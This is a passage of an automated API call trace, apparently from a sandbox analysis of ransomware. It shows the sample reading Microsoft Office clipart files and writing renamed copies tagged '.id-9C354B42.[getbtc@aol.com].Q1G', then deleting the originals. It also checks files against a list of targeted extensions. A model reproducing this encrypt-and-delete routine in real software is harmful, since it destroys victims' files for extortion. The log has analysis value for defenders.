lpFileSize=0x319ff1c*=20038) returned 1 [0264.717] CloseHandle (hObject=0x37c) returned 1 [0264.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf")) returned 0x20 [0264.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.771] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.771] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0264.784] GetLastError () returned 0x0 [0264.784] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x4e46, lpOverlapped=0x0) returned 1 [0264.796] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x4e50, lpOverlapped=0x0) returned 1 [0264.797] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.797] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.797] SetEndOfFile (hFile=0x360) returned 1 [0264.808] CloseHandle (hObject=0x360) returned 1 [0264.808] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.808] SetEndOfFile (hFile=0x390) returned 1 [0264.813] CloseHandle (hObject=0x390) returned 1 [0264.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.813] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf")) returned 1 [0264.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0264.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0264.814] lstrlenW (lpString=".doc") returned 4 [0264.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.814] lstrlenW (lpString=".docx") returned 5 [0264.814] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0264.814] lstrlenW (lpString=".pdf") returned 4 [0264.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.814] lstrlenW (lpString=".xls") returned 4 [0264.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.814] lstrlenW (lpString=".xlsx") returned 5 [0264.814] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0264.814] lstrlenW (lpString=".ppt") returned 4 [0264.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0264.814] lstrlenW (lpString=".zip") returned 4 [0264.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.814] lstrlenW (lpString=".rar") returned 4 [0264.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.815] lstrlenW (lpString=".bz2") returned 4 [0264.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.815] lstrlenW (lpString=".7z") returned 3 [0264.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0264.815] lstrlenW (lpString=".dbf") returned 4 [0264.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0264.815] lstrlenW (lpString=".1cd") returned 4 [0264.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0264.815] lstrlenW (lpString=".jpg") returned 4 [0264.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0264.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0264.815] lstrlenW (lpString=".doc") returned 4 [0264.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.815] lstrlenW (lpString=".docx") returned 5 [0264.815] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0264.815] lstrlenW (lpString=".pdf") returned 4 [0264.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.815] lstrlenW (lpString=".xls") returned 4 [0264.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.815] lstrlenW (lpString=".xlsx") returned 5 [0264.815] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0264.815] lstrlenW (lpString=".ppt") returned 4 [0264.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0264.815] lstrlenW (lpString=".zip") returned 4 [0264.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.815] lstrlenW (lpString=".rar") returned 4 [0264.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.815] lstrlenW (lpString=".bz2") returned 4 [0264.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.816] lstrlenW (lpString=".7z") returned 3 [0264.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0264.816] lstrlenW (lpString=".dbf") returned 4 [0264.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0264.816] lstrlenW (lpString=".1cd") returned 4 [0264.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0264.816] lstrlenW (lpString=".jpg") returned 4 [0264.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.816] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.816] lstrlenW (lpString="J0185796.WMF") returned 12 [0264.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.816] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=25868) returned 1 [0264.817] CloseHandle (hObject=0x390) returned 1 [0264.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf")) returned 0x20 [0264.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.817] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.817] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0264.818] GetLastError () returned 0x0 [0264.818] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x650c, lpOverlapped=0x0) returned 1 [0264.819] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x6510, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x6510, lpOverlapped=0x0) returned 1 [0264.821] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.821] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.821] SetEndOfFile (hFile=0x360) returned 1 [0264.821] CloseHandle (hObject=0x360) returned 1 [0264.821] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.821] SetEndOfFile (hFile=0x390) returned 1 [0264.823] CloseHandle (hObject=0x390) returned 1 [0264.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf")) returned 1 [0264.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0264.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0264.824] lstrlenW (lpString=".doc") returned 4 [0264.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.824] lstrlenW (lpString=".docx") returned 5 [0264.824] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0264.824] lstrlenW (lpString=".pdf") returned 4 [0264.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.824] lstrlenW (lpString=".xls") returned 4 [0264.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.824] lstrlenW (lpString=".xlsx") returned 5 [0264.824] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0264.824] lstrlenW (lpString=".ppt") returned 4 [0264.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0264.824] lstrlenW (lpString=".zip") returned 4 [0264.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.824] lstrlenW (lpString=".rar") returned 4 [0264.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.824] lstrlenW (lpString=".bz2") returned 4 [0264.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.824] lstrlenW (lpString=".7z") returned 3 [0264.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0264.825] lstrlenW (lpString=".dbf") returned 4 [0264.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0264.825] lstrlenW (lpString=".1cd") returned 4 [0264.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0264.825] lstrlenW (lpString=".jpg") returned 4 [0264.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0264.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0264.825] lstrlenW (lpString=".doc") returned 4 [0264.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.825] lstrlenW (lpString=".docx") returned 5 [0264.825] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0264.825] lstrlenW (lpString=".pdf") returned 4 [0264.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.825] lstrlenW (lpString=".xls") returned 4 [0264.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.825] lstrlenW (lpString=".xlsx") returned 5 [0264.825] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0264.825] lstrlenW (lpString=".ppt") returned 4 [0264.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0264.825] lstrlenW (lpString=".zip") returned 4 [0264.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.825] lstrlenW (lpString=".rar") returned 4 [0264.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.825] lstrlenW (lpString=".bz2") returned 4 [0264.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.825] lstrlenW (lpString=".7z") returned 3 [0264.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0264.825] lstrlenW (lpString=".dbf") returned 4 [0264.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0264.825] lstrlenW (lpString=".1cd") returned 4 [0264.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0264.826] lstrlenW (lpString=".jpg") returned 4 [0264.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.826] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.826] lstrlenW (lpString="J0185798.WMF") returned 12 [0264.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.826] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=33824) returned 1 [0264.826] CloseHandle (hObject=0x390) returned 1 [0264.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf")) returned 0x20 [0264.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.827] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.827] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0264.827] GetLastError () returned 0x0 [0264.828] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x8420, lpOverlapped=0x0) returned 1 [0264.863] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x8430, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x8430, lpOverlapped=0x0) returned 1 [0264.864] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.864] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.865] SetEndOfFile (hFile=0x360) returned 1 [0264.964] CloseHandle (hObject=0x360) returned 1 [0264.964] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.964] SetEndOfFile (hFile=0x390) returned 1 [0264.966] CloseHandle (hObject=0x390) returned 1 [0264.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf")) returned 1 [0264.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0264.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0264.967] lstrlenW (lpString=".doc") returned 4 [0264.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.967] lstrlenW (lpString=".docx") returned 5 [0264.967] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0264.967] lstrlenW (lpString=".pdf") returned 4 [0264.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.967] lstrlenW (lpString=".xls") returned 4 [0264.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.967] lstrlenW (lpString=".xlsx") returned 5 [0264.967] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0264.967] lstrlenW (lpString=".ppt") returned 4 [0264.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0264.967] lstrlenW (lpString=".zip") returned 4 [0264.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.967] lstrlenW (lpString=".rar") returned 4 [0264.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.967] lstrlenW (lpString=".bz2") returned 4 [0264.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.967] lstrlenW (lpString=".7z") returned 3 [0264.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0264.967] lstrlenW (lpString=".dbf") returned 4 [0264.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0264.968] lstrlenW (lpString=".1cd") returned 4 [0264.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0264.968] lstrlenW (lpString=".jpg") returned 4 [0264.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0264.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0264.968] lstrlenW (lpString=".doc") returned 4 [0264.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.968] lstrlenW (lpString=".docx") returned 5 [0264.968] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0264.968] lstrlenW (lpString=".pdf") returned 4 [0264.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.968] lstrlenW (lpString=".xls") returned 4 [0264.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.968] lstrlenW (lpString=".xlsx") returned 5 [0264.968] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0264.968] lstrlenW (lpString=".ppt") returned 4 [0264.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0264.968] lstrlenW (lpString=".zip") returned 4 [0264.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.968] lstrlenW (lpString=".rar") returned 4 [0264.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.968] lstrlenW (lpString=".bz2") returned 4 [0264.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.968] lstrlenW (lpString=".7z") returned 3 [0264.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0264.968] lstrlenW (lpString=".dbf") returned 4 [0264.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0264.968] lstrlenW (lpString=".1cd") returned 4 [0264.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0264.968] lstrlenW (lpString=".jpg") returned 4 [0264.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.969] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.969] lstrlenW (lpString="J0186346.WMF") returned 12 [0264.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.969] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=8666) returned 1 [0264.969] CloseHandle (hObject=0x390) returned 1 [0264.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf")) returned 0x20 [0264.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.970] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, 